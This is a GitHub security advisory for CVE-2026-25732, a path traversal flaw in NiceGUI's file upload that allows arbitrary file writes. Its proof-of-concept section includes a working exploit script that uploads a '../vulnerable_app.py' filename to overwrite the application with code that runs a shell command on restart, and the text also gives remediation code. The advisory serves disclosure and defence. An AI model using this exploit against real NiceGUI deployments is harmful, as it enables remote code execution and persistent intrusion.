GHSA-9FFM-FXG3-XRHH
Vulnerability from github – Published: 2026-02-05 21:08 – Updated: 2026-02-07 00:31Summary
NiceGUI's FileUpload.name property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern UPLOAD_DIR / file.name. Malicious filenames containing ../ sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.
Note: Exploitation requires application code incorporating file.name into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.
Details
Vulnerable Component: nicegui/elements/upload_files.py (upload_files.py#L79-L82 and upload_files.py#L110-L115)
Affected Methods: SmallFileUpload.save()and LargeFileUpload.save()
async def save(self, path: str | Path) -> None:
target = Path(path)
target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)
Root Cause: The save() method performs no validation on the provided path parameter. It accepts:
- Relative paths with ../ sequences
- Absolute paths
- Any file system location writable by the process
When developers use e.file.name (controlled by the attacker) in constructing save paths, directory traversal occurs:
save_path = UPLOAD_DIR / e.file.name # e.file.name = "../app.py"
await e.file.save(save_path) # Writes outside UPLOAD_DIR
PoC
- Terminal 1 (App)
cd /tmp && mkdir -p evilgui && cd evilgui
python3 -m venv evilgui && source evilgui/bin/activate
pip install nicegui
cat > vulnerable_app.py << 'EOF'
from nicegui import ui
from pathlib import Path
UPLOAD_DIR = Path('./uploads')
UPLOAD_DIR.mkdir(exist_ok=True)
@ui.page('/')
def index():
async def handle_upload(e):
save_path = UPLOAD_DIR / e.file.name
await e.file.save(save_path)
ui.notify(f'File saved: {e.file.name}')
ui.upload(on_upload=handle_upload, auto_upload=True)
ui.run(port=8080, reload=False)
EOF
python3 vulnerable_app.py &
- Terminal 2 (Exploit)
cat > exploit.py << 'EOF'
import requests, re, time
s = requests.Session()
s.get('http://localhost:8080')
time.sleep(2)
html = s.get('http://localhost:8080').text
match = re.search(r'/_nicegui/client/([^/]+)/upload/(\d+)', html)
upload_url = f'http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}'
payload = '''from nicegui import ui
import subprocess
@ui.page("/")
def index():
ui.label(subprocess.check_output(["id"], text=True))
ui.run(port=8080, reload=False)
'''
s.post(upload_url, files={'file': ('../vulnerable_app.py', payload, 'text/x-python')})
EOF
python3 exploit.py
- Restart the application to execute the injected code:
pkill -f vulnerable_app && python3 vulnerable_app.py
- Observe http://localhost:8080
Impact
Affected Applications: All NiceGUI applications using ui.upload() where developers save files with e.file.save() and include user-controlled filenames (e.g., e.file.name) in the path.
Attack Capabilities: - Write files to any location writable by the application process - Overwrite Python application files to achieve remote code execution upon restart - Overwrite configuration files to alter application behavior - Write SSH keys, systemd units, or cron jobs for persistent access - Deny service by corrupting critical files
Exploitability: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like ../../../app.py to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use e.file.name directly, following patterns shown in community examples.
Remediation
For Users
async def handle_upload(e):
safe_name = Path(e.file.name).name # Strip directory components!
await e.file.save(UPLOAD_DIR / safe_name)
For Maintainers
```py async def save(self, path: str | Path, *, base_dir: Path | None = None) -> None: target = Path(path).resolve()
if base_dir is not None:
base_dir = base_dir.resolve()
if not target.is_relative_to(base_dir):
raise ValueError(
f"Path '{target}' escapes base directory '{base_dir}'"
)
target.parent.mkdir(parents=True, exist_ok=True)
await run.io_bound(target.write_bytes, self._data)
````
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.6.1"
},
"package": {
"ecosystem": "PyPI",
"name": "nicegui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25732"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-601"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-05T21:08:53Z",
"nvd_published_at": "2026-02-06T22:16:11Z",
"severity": "HIGH"
},
"details": "### Summary\nNiceGUI\u0027s `FileUpload.name` property exposes client-supplied filename metadata without sanitization, enabling path traversal when developers use the pattern `UPLOAD_DIR / file.name`. Malicious filenames containing `../` sequences allow attackers to write files outside intended directories, with potential for remote code execution through application file overwrites in vulnerable deployment patterns. This design creates a prevalent security footgun affecting applications following common community patterns.\n\n**Note**: Exploitation requires application code incorporating `file.name` into filesystem paths without sanitization. Applications using fixed paths, generated filenames, or explicit sanitization are not affected.\n\n### Details\n**Vulnerable Component**: `nicegui/elements/upload_files.py` ([upload_files.py#L79-L82](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82) and [upload_files.py#L110-L115](https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115))\n\n**Affected Methods**: `SmallFileUpload.save()`and `LargeFileUpload.save()`\n\n```py\nasync def save(self, path: str | Path) -\u003e None:\n target = Path(path)\n target.parent.mkdir(parents=True, exist_ok=True)\n await run.io_bound(target.write_bytes, self._data)\n```\n\n**Root Cause**: The `save()` method performs no validation on the provided path parameter. It accepts:\n- Relative paths with `../` sequences\n- Absolute paths\n- Any file system location writable by the process\n\nWhen developers use `e.file.name` (controlled by the attacker) in constructing save paths, directory traversal occurs:\n```py\nsave_path = UPLOAD_DIR / e.file.name # e.file.name = \"../app.py\"\nawait e.file.save(save_path) # Writes outside UPLOAD_DIR\n```\n\n### PoC\n- Terminal 1 (App)\n```bash\ncd /tmp \u0026\u0026 mkdir -p evilgui \u0026\u0026 cd evilgui\npython3 -m venv evilgui \u0026\u0026 source evilgui/bin/activate\npip install nicegui\n\ncat \u003e vulnerable_app.py \u003c\u003c \u0027EOF\u0027\nfrom nicegui import ui\nfrom pathlib import Path\n\nUPLOAD_DIR = Path(\u0027./uploads\u0027)\nUPLOAD_DIR.mkdir(exist_ok=True)\n\n@ui.page(\u0027/\u0027)\ndef index():\n async def handle_upload(e):\n save_path = UPLOAD_DIR / e.file.name\n await e.file.save(save_path)\n ui.notify(f\u0027File saved: {e.file.name}\u0027)\n \n ui.upload(on_upload=handle_upload, auto_upload=True)\n\nui.run(port=8080, reload=False)\nEOF\n\npython3 vulnerable_app.py \u0026\n```\n\n- Terminal 2 (Exploit)\n```bash\ncat \u003e exploit.py \u003c\u003c \u0027EOF\u0027\nimport requests, re, time\n\ns = requests.Session()\ns.get(\u0027http://localhost:8080\u0027)\ntime.sleep(2)\n\nhtml = s.get(\u0027http://localhost:8080\u0027).text\nmatch = re.search(r\u0027/_nicegui/client/([^/]+)/upload/(\\d+)\u0027, html)\nupload_url = f\u0027http://localhost:8080/_nicegui/client/{match[1]}/upload/{match[2]}\u0027\n\npayload = \u0027\u0027\u0027from nicegui import ui\nimport subprocess\n@ui.page(\"/\")\ndef index():\n ui.label(subprocess.check_output([\"id\"], text=True))\nui.run(port=8080, reload=False)\n\u0027\u0027\u0027\n\ns.post(upload_url, files={\u0027file\u0027: (\u0027../vulnerable_app.py\u0027, payload, \u0027text/x-python\u0027)})\nEOF\n\npython3 exploit.py\n```\n- Restart the application to execute the injected code:\n```\npkill -f vulnerable_app \u0026\u0026 python3 vulnerable_app.py\n```\n- Observe http://localhost:8080\n\n### Impact\n**Affected Applications**: All NiceGUI applications using `ui.upload()` where developers save files with `e.file.save()` and include user-controlled filenames (e.g., `e.file.name`) in the path.\n\n**Attack Capabilities**:\n- Write files to any location writable by the application process\n- Overwrite Python application files to achieve remote code execution upon restart\n- Overwrite configuration files to alter application behavior\n- Write SSH keys, systemd units, or cron jobs for persistent access\n- Deny service by corrupting critical files\n\n**Exploitability**: Trivially exploitable without authentication. Attackers simply upload a file with a malicious filename like `../../../app.py` to escape the upload directory. The vulnerability is prevalent in production applications as developers naturally use `e.file.name` directly, following patterns shown in community examples.\n\n### Remediation\n#### For Users\n```py\nasync def handle_upload(e):\n safe_name = Path(e.file.name).name # Strip directory components!\n await e.file.save(UPLOAD_DIR / safe_name)\n```\n\n#### For Maintainers\n```py\nasync def save(self, path: str | Path, *, base_dir: Path | None = None) -\u003e None:\n target = Path(path).resolve()\n \n if base_dir is not None:\n base_dir = base_dir.resolve()\n if not target.is_relative_to(base_dir):\n raise ValueError(\n f\"Path \u0027{target}\u0027 escapes base directory \u0027{base_dir}\u0027\"\n )\n \n target.parent.mkdir(parents=True, exist_ok=True)\n await run.io_bound(target.write_bytes, self._data)\n````",
"id": "GHSA-9ffm-fxg3-xrhh",
"modified": "2026-02-07T00:31:58Z",
"published": "2026-02-05T21:08:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/security/advisories/GHSA-9ffm-fxg3-xrhh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25732"
},
{
"type": "PACKAGE",
"url": "https://github.com/zauberzeug/nicegui"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L110-L115"
},
{
"type": "WEB",
"url": "https://github.com/zauberzeug/nicegui/blob/main/nicegui/elements/upload_files.py#L79-L82"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "NiceGUI\u0027s Path Traversal via Unsanitized FileUpload.name Enables Arbitrary File Write"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.